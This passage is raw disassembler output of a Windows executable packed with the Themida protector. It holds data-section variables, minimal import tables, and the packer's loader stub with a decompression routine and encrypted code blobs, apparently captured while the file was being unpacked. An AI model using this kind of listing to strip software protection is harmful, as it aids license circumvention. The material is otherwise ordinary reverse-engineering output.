word_4D4152 dw 0 ; DATA XREF: ___:off_4383A8o
dd 1B7h dup(0)
dword_4D4830 dd 0 ; DATA XREF: sub_4172C1+86w
; sub_417493+94r
dword_4D4834 dd 0 ; DATA XREF: sub_4172C1+A7w
; sub_4178F9+55r ...
dword_4D4838 dd 0 ; DATA XREF: sub_4172C1+A0w
; sub_417493+D6r ...
dword_4D483C dd 0 ; DATA XREF: sub_4172C1+79w
; sub_417493+35r ...
dword_4D4840 dd 80h dup(0) ; DATA XREF: sub_4178F9+5Eo
dword_4D4A40 dd 0 ; DATA XREF: sub_4172C1+93w
; sub_417493+A2r
align 8
dword_4D4A48 dd 0 ; DATA XREF: sub_4172C1+E7o
; sub_4172C1+103r ...
dword_4D4A4C dd 0 ; DATA XREF: sub_41761C+17Bw
; sub_4177C3+107w
dword_4D4A50 dd 0 ; DATA XREF: sub_41761C+180w
; sub_4177C3+10Dw ...
dword_4D4A54 dd 0 ; DATA XREF: sub_41761C+159w
; sub_4178F9+4Fr
dword_4D4A58 dd 0 ; DATA XREF: sub_417C61+22w
; sub_417C61:loc_417DE6w ...
dword_4D4A5C dd 0 ; DATA XREF: sub_401ACD+3C95o
; sub_417B2F+12o ...
dd 0
dword_4D4A64 dd 0 ; DATA XREF: sub_417C61+1Cr
; sub_417E06+3Ar
dd 7Fh dup(0)
dword_4D4C64 dd 0 ; DATA XREF: sub_417C61+28r
; sub_417E06+4Aw
dd 1944h dup(0)
dword_4DB178 dd 0 ; DATA XREF: sub_417E06+23o
dword_4DB17C dd 81h dup(0) ; DATA XREF: sub_401ACD+3CB9o
; sub_417B2F+3Co ...
dword_4DB380 dd 17h dup(0) ; DATA XREF: sub_418D2A:loc_418E47o
; sub_418D2A+131o ...
dword_4DB3DC dd 80h dup(0) ; DATA XREF: sub_419AE0+7Co
; sub_419AE0+A5o
dword_4DB5DC dd 0 ; DATA XREF: sub_4190A5+45w
; sub_4190A5+4Dr ...
dword_4DB5E0 dd 17h dup(0) ; DATA XREF: sub_4199AC:loc_419ACEo
; sub_4199AC+12Do
dword_4DB63C dd 80h dup(0) ; DATA XREF: sub_418FE5+4Co
; sub_418FE5+7Eo ...
byte_4DB83C db 0 ; DATA XREF: sub_4190A5+29r
; sub_4190A5+34w
align 10h
dword_4DB840 dd 80h dup(0) ; DATA XREF: sub_4192FC+61o
; sub_4192FC+89o ...
dword_4DBA40 dd 81h dup(0) ; DATA XREF: sub_418C0E:loc_418C46o
; sub_418C0E+5Bo
dword_4DBC44 dd 0 ; DATA XREF: sub_419F6D:loc_419F8Er
; sub_41A05C+54r ...
dword_4DBC48 dd 0 ; DATA XREF: sub_419F6Dr
; sub_41A05C+37r ...
dword_4DBC4C dd 0 ; DATA XREF: sub_419F9D+1Ar
; sub_41A1B1+83o
dword_4DBC50 dd 0 ; DATA XREF: sub_419F6D:loc_419F81r
; sub_41A1B1+11Bw
dword_4DBC54 dd 0Dh dup(0) ; DATA XREF: sub_41A05C+13o
; sub_41A1B1:loc_41A2EEo
dword_4DBC88 dd 0 ; DATA XREF: sub_41A05C+CDr
; sub_41A05C+ECr ...
align 10h
dword_4DBC90 dd 0Fh dup(0) ; DATA XREF: sub_41ADD8+47o
byte_4DBCCC db 0 ; DATA XREF: sub_41B52C+6o
; ___:0041B881o ...
align 10h
dd 3Fh dup(0)
dword_4DBDCC dd 2 dup(0) ; DATA XREF: sub_41B55B+18o
dword_4DBDD4 dd 2 dup(0) ; DATA XREF: sub_41B55B+8o
; ___:0041B6CAo
dword_4DBDDC dd 0 ; DATA XREF: sub_41C59D+1B9w
; ___:loc_41DB07w ...
dword_4DBDE0 dd 0 ; DATA XREF: sub_41DC5E+35w
; sub_41E312:loc_41E3ACw ...
dword_4DBDE4 dd 0 ; DATA XREF: sub_42423B+13Ar
dd 0A28h, 501h, 5, 1
dword_4DBDF8 dd 1 ; DATA XREF: ___:loc_401516r
; ___:0042381Dw
dword_4DBDFC dd 2460B30h ; DATA XREF: ___:0040151Fr
; ___:0040153Fr ...
dd 0
dword_4DBE04 dd 2460B58h ; DATA XREF: ___:00423717w
dd 3 dup(0)
off_4DBE14 dd offset aCM_unpackerPac ; DATA XREF: ___:004237BAw
; "C:\\m_unpacker\\packed.exe"
dd 0
byte_4DBE1C db 0 ; DATA XREF: sub_41C1B3+2Dw
; sub_4241E3+5r
align 10h
dword_4DBE20 dd 0 ; DATA XREF: sub_41C1B3+27w
dword_4DBE24 dd 0 ; DATA XREF: sub_41C1B3+4r
; sub_41C1B3+8Bw
dword_4DBE28 dd 0 ; DATA XREF: sub_41CAD4+3Br
; sub_41CAD4+91w
align 10h
dword_4DBE30 dd 0 ; DATA XREF: sub_41D124+Aw
dword_4DBE34 dd 0 ; DATA XREF: ___:loc_4236E5r
; ___:loc_423727r ...
dd 0
dword_4DBE3C dd 0 ; DATA XREF: sub_41E2C9r ___:0041E2F0o ...
dword_4DBE40 dd 0 ; DATA XREF: sub_41F3B0+4Bw
; sub_41F4C9+2Dw ...
dword_4DBE44 dd 0 ; DATA XREF: sub_41FBB2r
dword_4DBE48 dd 0 ; DATA XREF: sub_41BBE2:loc_41BCFEr
; sub_41BBE2:loc_41BE1Fr ...
dword_4DBE4C dd 1 ; DATA XREF: sub_420749:loc_4208C4r
; sub_4208E2+4w ...
dword_4DBE50 dd 0 ; DATA XREF: sub_420CE6+37r
align 8
dword_4DBE58 dd 0 ; DATA XREF: sub_422279+11r
; sub_42237D+1Ar ...
byte_4DBE5C db 0 ; DATA XREF: sub_422279+3r
; sub_422279+98r ...
align 10h
dword_4DBE60 dd 0 ; DATA XREF: sub_42237D+11r
; sub_42245B+21w ...
byte_4DBE64 db 0 ; DATA XREF: sub_42245B+51w
align 4
dword_4DBE68 dd 0 ; DATA XREF: sub_422651+4Er
; sub_422A2C+3Ar ...
dword_4DBE6C dd 0 ; DATA XREF: sub_422651+5Cr
; sub_422A2C+43r ...
dword_4DBE70 dd 0 ; DATA XREF: sub_41D3AA+7Ar
; sub_4227F8+5r
dword_4DBE74 dd 0 ; DATA XREF: sub_422DFC+29r
dword_4DBE78 dd 1 ; DATA XREF: sub_4232A8+28r
; sub_4232A8+4Cw ...
dd 2 dup(0)
dword_4DBE84 dd 0 ; DATA XREF: sub_41DE4A+4r
; sub_41DE4A+6Er ...
dd 3 dup(0)
dword_4DBE94 dd 0 ; DATA XREF: sub_41E0D4+61r
; sub_41E0D4+BFr ...
dd 0
dword_4DBE9C dd 0 ; DATA XREF: ___:00423531r
; ___:0042353Dw ...
aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: ___:loc_4237A3o
; ___:off_4DBE14o
align 4
dd 3Ah dup(0)
dword_4DBFA4 dd 1 ; DATA XREF: ___:004239DBr
; ___:004239FCw ...
dword_4DBFA8 dd 0 ; DATA XREF: sub_423D98+21r
dword_4DBFAC dd 0 ; DATA XREF: sub_41FBCD+154w
; sub_420CE6:loc_420D0Fw ...
dword_4DBFB0 dd 0 ; DATA XREF: sub_41FBCD+7r
dword_4DBFB4 dd 1 ; DATA XREF: sub_4244F4+26r
; sub_4244F4:loc_42455Ew
word_4DBFB8 dw 0 ; DATA XREF: sub_424DF9+1Ao
; sub_424DF9+46r
byte_4DBFBA db 0 ; DATA XREF: sub_424DF9+39r
align 4
dword_4DBFBC dd 7 dup(0) ; DATA XREF: sub_424DF9+52o
dword_4DBFD8 dd 0 ; DATA XREF: sub_424DF9+40w
; sub_424DF9+5Co
dword_4DBFDC dd 0 ; DATA XREF: sub_424DF9+4Dw
dword_4DBFE0 dd 0 ; DATA XREF: sub_424DF9+31w
dword_4DBFE4 dd 0 ; DATA XREF: sub_424DF9+52w
dword_4DBFE8 dd 77C26E79h ; DATA XREF: sub_424F1C:loc_424F3Fr
; sub_424F1C+38r ...
dword_4DBFEC dd 0 ; DATA XREF: sub_425029+3r
; sub_425029+2Ew ...
dword_4DBFF0 dd 0 ; DATA XREF: sub_425029+43w
; sub_425029:loc_425078r
dword_4DBFF4 dd 0 ; DATA XREF: sub_425029+4Aw
; sub_425029+60r
dword_4DBFF8 dd 0 ; DATA XREF: sub_42423B+3Fr
dword_4DBFFC dd 0 ; DATA XREF: sub_425C06:loc_425C6Dr
; sub_425C06+6Do
dword_4DC000 dd 0 ; DATA XREF: sub_425C06:loc_425C44r
; sub_425C06+44o
dword_4DC004 dd 0 ; DATA XREF: sub_425C06:loc_425C37r
; sub_425C06+37o
dword_4DC008 dd 0 ; DATA XREF: sub_425C06:loc_425C51r
; sub_425C06+51o
align 10h
dword_4DC010 dd 0 ; DATA XREF: sub_426636+28r
; sub_426636+4Cw ...
dword_4DC014 dd 0 ; DATA XREF: sub_4268C1+26r
; sub_4268C1:loc_42692Bw
byte_4DC018 db 0 ; DATA XREF: sub_40DB3Cr sub_40DB3C+9w
align 4
dword_4DC01C dd 2461140h ; DATA XREF: sub_41E490:loc_41E4A1r
; sub_41FD3D+14r ...
dword_4DC020 dd 400h dup(0) ; DATA XREF: ___:off_43D568o
; ___:0043D570o
dword_4DD020 dd 200h ; DATA XREF: sub_41E490+9r
; sub_41E490+56r ...
dd 7 dup(0)
dword_4DD040 dd 2460650h ; DATA XREF: sub_41F8E3+75r
; sub_41F9BC+2Ar ...
dword_4DD044 dd 3Fh dup(0) ; DATA XREF: ___:00423B9Do
dword_4DD140 dd 20h ; DATA XREF: sub_41E312+8r
; sub_41F9BC+Cr ...
dword_4DD144 dd 4E4h ; DATA XREF: sub_420749+14r
; sub_420749+65w ...
align 10h
dword_4DD150 dd 3 dup(0) ; DATA XREF: sub_420749+123o
; sub_420749+171o ...
dword_4DD15C dd 0 ; DATA XREF: sub_420749+108w
; sub_420749+15Dw ...
byte_4DD160 db 0 ; DATA XREF: sub_420988:loc_420A94w
; sub_420988:loc_420AB1w ...
align 4
dd 0Fh dup(0)
dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
dd 77767574h, 7A7978h, 0
dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
dd 57565554h, 5A5958h, 0
dd 83000000h, 0
dd 9A0000h, 9E009Ch, 2 dup(0)
dd 8A0000h, 0FF8E008Ch, 2 dup(0)
dd 0AA0000h, 2 dup(0)
dd 0B500h, 0BA0000h, 0
dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
dd 9FDEDDDCh
byte_4DD260 db 0 ; DATA XREF: sub_420749+5Co
; sub_420749+AFo ...
byte_4DD261 db 0 ; DATA XREF: sub_41C3B1+5Dr
; sub_420749+A0w ...
align 4
dd 0Fh dup(0)
dd 10100000h, 6 dup(10101010h), 0
dd 20200000h, 6 dup(20202020h), 2 dup(0)
dd 20h, 10000000h, 10001000h, 2 dup(0)
dd 20000000h, 20002000h, 10h, 0
dd 20000000h, 2 dup(0)
dd 200000h, 20000000h, 0
dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h)
dd 20202000h, 20202020h, 20h
dword_4DD364 dd 0 ; DATA XREF: sub_420749+6Ew
; sub_420749+12Bw ...
dword_4DD368 dd 0 ; DATA XREF: sub_41ED74+5r
; sub_41ED74+32w
dword_4DD36C dd 0 ; DATA XREF: sub_41E742+23Ar
; sub_41E742+25Ar ...
dword_4DD370 dd 0 ; DATA XREF: sub_41E742+311w
; sub_41EA6B:loc_41EABBr ...
dword_4DD374 dd 0 ; DATA XREF: sub_41E742+22Dr
; sub_41E742+260r ...
dword_4DD378 dd 0 ; DATA XREF: sub_41E717r
; sub_41E742+2CBr ...
dword_4DD37C dd 0 ; DATA XREF: sub_41E717+8r
; sub_41E742+2D0r ...
dword_4DD380 dd 0 ; DATA XREF: sub_41BBE2+5Cr
; sub_41BEF3+Fr ...
dword_4DD384 dd 2460000h ; DATA XREF: sub_41BA91+5Ar
; sub_41BBE2+C0r ...
dword_4DD388 dd 1 ; DATA XREF: sub_41BA91+Cr
; sub_41BBE2:loc_41BC12r ...
dword_4DD38C dd 142340h ; DATA XREF: ___:0042368Ar
; ___:004237B5r
dword_4DD390 dd 1 ; DATA XREF: ___:00423780w
dword_4DD394 dd 1 ; DATA XREF: sub_420B0Dr
; sub_420B0D+11w ...
dword_4DD398 dd 2460758h ; DATA XREF: sub_41C1B3+3Er
; sub_41D9B3+13r ...
dword_4DD39C dd 2460758h ; DATA XREF: sub_41C1B3+35r
; sub_41C1B3+57r ...
dd 318h dup(0)
dd 127h, 19Ch, 1DCh, 221h, 233h, 290h, 3FAh dup(0)
___ ends
; Section 2. (virtual address 000DF000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00001000 ( 4096.)
; Offset to raw data for section: 000DF000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_rsrc___ segment para public 'DATA' use32
assume cs:_rsrc___
;org 4DF000h
align 2000h
_rsrc___ ends
; Section 3. (virtual address 000E0000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00001000 ( 4096.)
; Offset to raw data for section: 000E0000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_idata__ segment para public 'DATA' use32
assume cs:_idata__
;org 4E0000h
a7icwCw db '7¨çwµ\çw',0
align 4
dd 77345219h, 4 dup(0)
dd 0E0050h, 0E0000h, 3 dup(0)
dd 0E0079h, 0E000Ch, 3 dup(0)
db 0
byte_4E0049 db 3 dup(0) ; DATA XREF: ___:004385ACo
align 10h
aKernel32_dll_0 db 'KERNEL32.dll',0
db 2 dup(0), 43h
aReatefilea db 'reateFileA',0
align 4
dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h
dd 6C642E32h, 6Ch
aInitcommoncont db 'InitCommonControls',0
align 1000h
_idata__ ends
; Section 4. (virtual address 000E1000)
; Virtual size : 000FD000 (1036288.)
; Section size in file : 000FD000 (1036288.)
; Offset to raw data for section: 000E1000
; Flags E0000060: Text Data Executable Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
Themida_ segment para public 'CODE' use32
assume cs:Themida_
;org 4E1000h
assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing
dd 0FDA6DA5Fh, 47360h, 54143h, 96172h, 0
; ---------------------------------------------------------------------------
mov eax, 0
pusha
or eax, eax
jz short loc_4E1086
call $+5
pop eax
add eax, 53h
cmp byte ptr [eax], 0E9h
jnz short loc_4E1041
popa
jmp short loc_4E1076
; ---------------------------------------------------------------------------
db 0DBh, 2Dh, 37h
db 10h, 4Eh, 0
dt 9.2233720368547758075e18
; ---------------------------------------------------------------------------
loc_4E1041: ; CODE XREF: Themida_:004E102Cj
call $+5
pop eax
and eax, 0FFFFF000h
xor edi, edi
loc_4E104E: ; CODE XREF: Themida_:004E1072j
mov bx, 5A19h
add bx, 34h
cmp [eax], bx
jnz short loc_4E106D
movzx edx, word ptr [eax+3Ch]
add edx, eax
mov ebx, 44E9h
add ebx, 67h
cmp [edx], ebx
jz short loc_4E1074
loc_4E106D: ; CODE XREF: Themida_:004E1059j
sub eax, 1000h
jmp short loc_4E104E
; ---------------------------------------------------------------------------
loc_4E1074: ; CODE XREF: Themida_:004E106Bj
mov edi, eax
loc_4E1076: ; CODE XREF: Themida_:004E102Fj
jmp loc_4E1265
; ---------------------------------------------------------------------------
add eax, edi
mov ecx, 0E126Ah
add ecx, edi
jmp short loc_4E1090
; ---------------------------------------------------------------------------
loc_4E1086: ; CODE XREF: Themida_:004E101Cj
mov eax, offset loc_549A0D
mov ecx, offset word_4E126A
loc_4E1090: ; CODE XREF: Themida_:004E1084j
push eax
push ecx
call sub_4E111B
call $+5
pop eax
sub eax, 26h
mov ecx, 1EFh
mov byte ptr [eax], 0E9h
sub ecx, 5
mov [eax+1], ecx
popa
jmp loc_4E1265
; ---------------------------------------------------------------------------
dw 9328h
dd 788AE4C9h, 815EBCh, 63432DA8h, 0F065446Ch, 3ADC23BEh
dd 759CA4D8h, 3163C78Eh, 93264C98h, 78F2E4C9h, 172F5EBCh
dd 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh, 5A4E2BEFh
dd 1848C86h, 662A4924h, 1799B7DEh, 9122458Bh, 0D8B164C8h
dd 0DCBA75EBh, 1D3B76EDh, 3163C78Eh, 93264C98h
db 0C8h, 0E4h, 0F2h
; =============== S U B R O U T I N E =======================================
sub_4E111B proc near ; CODE XREF: Themida_:004E1092p
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
pusha
mov esi, [esp+20h+arg_0]
mov edi, [esp+20h+arg_4]
cld
mov dl, 80h
loc_4E1127: ; CODE XREF: sub_4E111B:loc_4E113Bj
mov al, [esi]
inc esi
mov [edi], al
inc edi
mov ebx, 2
loc_4E1132: ; CODE XREF: sub_4E111B+7Aj
; sub_4E111B+C3j ...
add dl, dl
jnz short loc_4E113B
mov dl, [esi]
inc esi
adc dl, dl
loc_4E113B: ; CODE XREF: sub_4E111B+19j
jnb short loc_4E1127
add dl, dl
jnz short loc_4E1146
mov dl, [esi]
inc esi
adc dl, dl
loc_4E1146: ; CODE XREF: sub_4E111B+24j
jnb short loc_4E1197
xor eax, eax
add dl, dl
jnz short loc_4E1153
mov dl, [esi]
inc esi
adc dl, dl
loc_4E1153: ; CODE XREF: sub_4E111B+31j
jnb loc_4E1238
add dl, dl
jnz short loc_4E1162
mov dl, [esi]
inc esi
adc dl, dl
loc_4E1162: ; CODE XREF: sub_4E111B+40j
adc eax, eax
add dl, dl
jnz short loc_4E116D
mov dl, [esi]
inc esi
adc dl, dl
loc_4E116D: ; CODE XREF: sub_4E111B+4Bj
adc eax, eax
add dl, dl
jnz short loc_4E1178
mov dl, [esi]
inc esi
adc dl, dl
loc_4E1178: ; CODE XREF: sub_4E111B+56j
adc eax, eax
add dl, dl
jnz short loc_4E1183
mov dl, [esi]
inc esi
adc dl, dl
loc_4E1183: ; CODE XREF: sub_4E111B+61j
adc eax, eax
jz short loc_4E118D
push edi
sub edi, eax
mov al, [edi]
pop edi
loc_4E118D: ; CODE XREF: sub_4E111B+6Aj
mov [edi], al
inc edi
mov ebx, 2
jmp short loc_4E1132
; ---------------------------------------------------------------------------
loc_4E1197: ; CODE XREF: sub_4E111B:loc_4E1146j
mov eax, 1
loc_4E119C: ; CODE XREF: sub_4E111B:loc_4E11B0j
add dl, dl
jnz short loc_4E11A5
mov dl, [esi]
inc esi
adc dl, dl
loc_4E11A5: ; CODE XREF: sub_4E111B+83j
adc eax, eax
add dl, dl
jnz short loc_4E11B0
mov dl, [esi]
inc esi
adc dl, dl
loc_4E11B0: ; CODE XREF: sub_4E111B+8Ej
jb short loc_4E119C
sub eax, ebx
mov ebx, 1
jnz short loc_4E11E3
mov ecx, 1
loc_4E11C0: ; CODE XREF: sub_4E111B:loc_4E11D4j
add dl, dl
jnz short loc_4E11C9
mov dl, [esi]
inc esi
adc dl, dl
loc_4E11C9: ; CODE XREF: sub_4E111B+A7j
adc ecx, ecx
add dl, dl
jnz short loc_4E11D4
mov dl, [esi]
inc esi
adc dl, dl
loc_4E11D4: ; CODE XREF: sub_4E111B+B2j
jb short loc_4E11C0
push esi
mov esi, edi
sub esi, ebp
rep movsb
pop esi
jmp loc_4E1132
; ---------------------------------------------------------------------------
loc_4E11E3: ; CODE XREF: sub_4E111B+9Ej
dec eax
shl eax, 8
mov al, [esi]
inc esi
mov ebp, eax
mov ecx, 1
loc_4E11F1: ; CODE XREF: sub_4E111B:loc_4E1205j
add dl, dl
jnz short loc_4E11FA
mov dl, [esi]
inc esi
adc dl, dl
loc_4E11FA: ; CODE XREF: sub_4E111B+D8j
adc ecx, ecx
add dl, dl
jnz short loc_4E1205
mov dl, [esi]
inc esi
adc dl, dl
loc_4E1205: ; CODE XREF: sub_4E111B+E3j
jb short loc_4E11F1
cmp eax, 7D00h
jnb short loc_4E1228
cmp eax, 500h
jb short loc_4E1223
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
jmp loc_4E1132
; ---------------------------------------------------------------------------
loc_4E1223: ; CODE XREF: sub_4E111B+F8j
cmp eax, 7Fh
ja short loc_4E122B
loc_4E1228: ; CODE XREF: sub_4E111B+F1j
add ecx, 2
loc_4E122B: ; CODE XREF: sub_4E111B+10Bj
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
jmp loc_4E1132
; ---------------------------------------------------------------------------
loc_4E1238: ; CODE XREF: sub_4E111B:loc_4E1153j
mov al, [esi]
inc esi
xor ecx, ecx
shr al, 1
jz short loc_4E1259
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
mov ebx, 1
jmp loc_4E1132
; ---------------------------------------------------------------------------
loc_4E1259: ; CODE XREF: sub_4E111B+125j
sub edi, [esp+20h+arg_4]
mov [esp+20h+var_4], edi
popa
retn 8
sub_4E111B endp
; ---------------------------------------------------------------------------
loc_4E1265: ; CODE XREF: Themida_:loc_4E1076j
; Themida_:004E10B1j
jmp loc_549A0D
; ---------------------------------------------------------------------------
word_4E126A dw 38E9h ; DATA XREF: Themida_:004E108Bo
dd 156352Ch, 6552F0AFh, 61741C73h, 7041CE72h, 784F2E2Fh
dd 0D6F7239Ch, 21DC3343h, 0C201F9D7h, 92F1DF1Fh, 78920817h
dd 0F9FA70DAh, 0EEBE010Eh, 1FE17122h, 102E24F2h, 8B35BCBAh
dd 87EA2B84h, 7D0803CAh, 6854407Dh, 691C6D65h, 0DD216164h
dd 0C2214554h, 36455E1Dh, 0BF7E35C2h, 0E65FA495h, 1BE10398h
dd 0B82223EFh, 8BF5BB47h, 7011A3D0h, 0DE558503h, 0BF040148h
dd 0C5728BFCh, 0E860D410h, 0ED815D80h, 0A803353Bh, 69958906h
dd 0B50D0834h, 858432BDh, 830F225Dh, 1C159964h, 8B0C7403h
dd 0B8E291E8h, 0DEC26D43h, 24443870h, 1F253EE2h, 0E8456A00h
dd 6829C0A3h, 783749Ah, 0AA0DFF4h, 893D4B25h, 12D5220Ah
dd 2B0214E9h, 555E828h, 0C483EC8Bh, 5AEE60D8h, 2920EA81h
dd 0DA8B0436h, 8DD845C7h, 400E8C08h, 7E810889h, 1D80637Dh
dd 203F0F74h, 93839208h, 12FF104Ch, 0E1EB3143h, 0BA61DC36h
dd 0C2C90A26h, 81034604h, 47FF7CC4h, 72224902h, 80458D00h
dd 0C7085D8Bh, 2519A285h, 0A008D50h, 1888C3D1h, 0B895441h
dd 6BD5181h, 0E3755D01h, 8D14274Ah, 27664BAh, 0E8A8075h
dd 5B48F4BBh, 3707ABB8h, 0D0D37854h, 1D080FE6h, 82F7754Bh
dd 4647C3AFh, 46314A92h, 0D14251F9h, 38A5D61h, 0ECAFF0D0h
dd 0FC5045EEh, 451EB4Dh, 8046E4ADh, 0F7403E62h, 73849BBAh
dd 0C7D0C34h, 0F83E7FEBh, 126D6486h, 540E26F0h, 0A4A10F4h
dd 4F065C1h, 0D1F801D6h, 0CBC203E0h, 0DB332800h, 80301C8Ah
dd 6172E6FBh, 77390A0Ah, 0F7EBE905h, 143F2293h, 0A0DB361h
dd 7A08FB66h, 75C3FA1Eh, 1A10610Ah, 860B7241h, 677460Ah
dd 110F524h, 0ECC3F05Dh, 987D83F4h, 0D9B07202h, 0BB76C00Ch
dd 26AA32A5h, 3B700EF8h, 3BA8508Dh, 0FFC5505h, 0BD4E7882h
dd 38AA0DB0h, 8BA87F2h, 7005B907h, 0B8BDFC42h, 0FFE0037h
dd 750E4947h, 2E22B9FAh, 1BBE36Ah, 82F1E811h, 2BBEDEBh
dd 0BE868E00h, 5107A939h, 367E6570h, 268AB98Bh, 0C8E927DEh
dd 0F98599Dh, 0F7AF0Dh, 0F95B6C9Ah, 0AD73879Dh, 21BC1F0Eh
dd 8FD36724h, 6B5C3250h, 0E9561B01h, 5ED93904h, 6D8AC8C4h
dd 8205250Ch, 0C01E0845h, 0C4564621h, 0DB002FC3h, 0F031C25Dh
dd 7BA382B7h, 0B810192Ch, 80F19CDAh, 0BE5BCFEh, 0E68C0ECBh
dd 367E034h, 5B4E3982h, 30070F76h, 0D1043D51h, 46663BC7h
dd 9751466h, 0E608C2Eh, 65E4EC48h, 76069028h, 5C58402h
dd 0A4D1968Eh, 4785393h, 8C29C254h, 0E7DC7166h, 98AADD0Eh
dd 77812BFFh, 1D220460h, 0C84C134h, 207533F9h, 0BB833FBCh
dd 39EFB30Ah, 419C0230h, 7F8C4CECh, 40FCFFCCh, 52457F86h
dd 628060E9h, 4D8C52C4h, 82112504h, 0AB26B1AAh, 13845A68h
dd 0F9305645h, 55EE825Eh, 1A4281DCh, 0D58A279Ah, 231310B9h
dd 46439729h, 0D714DA61h, 70C94C44h, 8F51623Ah, 0C75CDCC0h
dd 0BC30DA8Dh, 18815907h, 325705E2h, 4701CBECh, 10CA0B5Ch
dd 579D1A86h, 349E8CC8h, 15D80288h, 1894C430h, 1538EA79h
dd 31429BCh, 9F192336h, 584DA1A2h, 0C4726018h, 117D8A23h
dd 5848001Bh, 0ABE79CC4h, 5B3C07D8h, 90E482A9h, 8A44EE15h
dd 32FA8618h, 0C012EA64h, 114B7337h, 480F6D63h, 205FCD76h
dd 0B2A4ED55h, 6CBD31F8h, 1109638h, 791011E9h, 16000D06h
dd 85171BAFh, 31AA8BEh, 76D37D19h, 0F200546Ah, 5F43C7F3h
dd 0A28C105Ch, 7085066Dh, 0E02CF2E0h, 6105FCF6h, 0CDDF323Ch
dd 0C0C1D0B4h, 773A218h, 3ECEB314h, 0F10133CBh, 557F0FAh
dd 60E9F4FDh, 7F53DC1Dh, 6A5F1058h, 0BA811E75h, 85384012h
dd 96B9CB0Dh, 0E40CF400h, 0CFEBD382h, 0A15AEE37h, 0DC488DF3h
dd 0B1560EAh, 95F30A08h, 18DCC800h, 7CF9100Dh, 7846006Eh
dd 8E6BDD24h, 9062998Bh, 905154B8h, 185A5B70h, 1113EA61h
dd 0FB006AF9h, 58450A62h, 0E8BADFD8h, 0CED43973h, 0C064E280h
dd 844FEEB9h, 80627E39h, 0B2BB05F0h, 7031791Ch, 97893882h
dd 45349070h, 2284D922h, 0DBA0066h, 0EA35D4AEh, 9415C02Ah
dd 65664E30h, 6A443800h, 4CA71484h, 6F1501BEh, 8E10350Dh
dd 0B62F8903h, 0A04E093Ch, 468F1B5Ch, 5C66002Bh, 9250940Dh
dd 6E74F578h, 93E87403h, 0A7DE6DFBh, 0D65583C3h, 1D641D19h
dd 5D3A208Eh, 0B40CCh, 3742492Bh, 1DA88B1Bh, 0BF344100h
dd 5A229FB3h, 0BB210384h, 0B69A88ABh, 0BCD6C0EFh, 6D1D40AEh
dd 4B80D119h, 4D2B31B9h, 537B063Ch, 208314EEh, 57087201h
dd 0DE1CC712h, 6C337020h, 0D44879A4h, 0F0CC9141h, 726F01BCh
dd 8FE5379h, 731880AFh, 3F6A37DBh, 339006h, 6F9C7F9Dh
dd 7E57A5AEh, 2358C361h, 0D9807BF9h, 79D6036Dh, 0EA0532A1h
dd 6AF3A08Fh, 213B8046h, 0DDDA0084h, 7E3344D2h, 8A03FBF6h
dd 0C2577FC5h, 17A901CCh, 1A6470B5h, 83598589h, 0A4216D57h
dd 91167544h, 5283BA0Ch, 0A332168h, 4C5F39B9h, 0AB803D88h
dd 5355D5AEh, 63E0D4CCh, 8AFA29C0h, 9C68CFh, 0DA4AFE5Ch
dd 0E31F473Eh, 55ABDD00h, 279E8BA3h, 1D62303Ah, 3309B998h
dd 7B056779h, 2D542A8h, 5B838C42h, 1740806Bh, 0DC72530Ah
dd 1CEA4228h, 7D00A212h, 0C0B4362Fh, 0DB743BE8h, 0C148A5Bh
dd 20EC5587h, 8730285h, 9C31B78h, 53742448h, 89A8E618h
dd 23B1120h, 0FE7F33C4h, 0C4AF0E57h, 6C807142h, 0DB78D080h
dd 8B6054EEh, 673A1730h, 10109242h, 0E92C0F6h, 0D8598437h
dd 0FB8E9AB9h, 9AA0420h, 0CCECD928h, 55856811h, 358407B8h
dd 837EA0C4h, 0EB00FF0Ah, 0A5C899A4h, 1A02E21Ah, 90C02E27h
dd 1908F000h, 10911364h, 4E27FD02h, 0F9F4A3C1h, 16190086h
dd 9E37A01Dh, 613B95F6h, 44EA04A7h, 3C98D5DAh, 4564883h
dd 32ED4A81h, 0D42087CFh, 0B14CE7D9h, 6F021819h, 0D6D5F04Ah
dd 8A85420h, 68F30573h, 0C0A3CB8Fh, 7CAD221Ch, 8DBC02C9h
dd 1A3388C5h, 5C93D1E2h, 232E8EF0h, 0F0A28007h, 5D223471h
dd 57CCA1CAh, 97431350h, 1C7BF80Eh, 430100AFh, 15FAA4C5h
dd 7D18D1FBh, 5381008h, 64DE18B3h, 9E3990A3h, 67E65726h
dd 998A983Dh, 4A43C1h, 30A88890h, 194775AEh, 7BD6573Ch
dd 99B38CFh, 37702397h, 339C68Ah, 2445FCF1h, 38D1BD39h
dd 4BE8418Fh, 0B196F3C3h, 0D97EF337h, 70301A07h, 0DA5B9Eh
dd 0EAE3CEA6h, 80053099h, 5E3BF700h, 18C89DA9h, 4E8B303Ah
dd 929B8670h, 594F0218h, 37D65D10h, 0C198B74Ch, 0F8ACD8F1h
dd 71C5C4A1h, 72C2E6E8h, 73D480A9h, 49E53CFEh, 0B0ADC80h
dd 9D8B455h, 98007E0Fh, 811FD35Ch, 6CA23Ah, 0D44191C9h
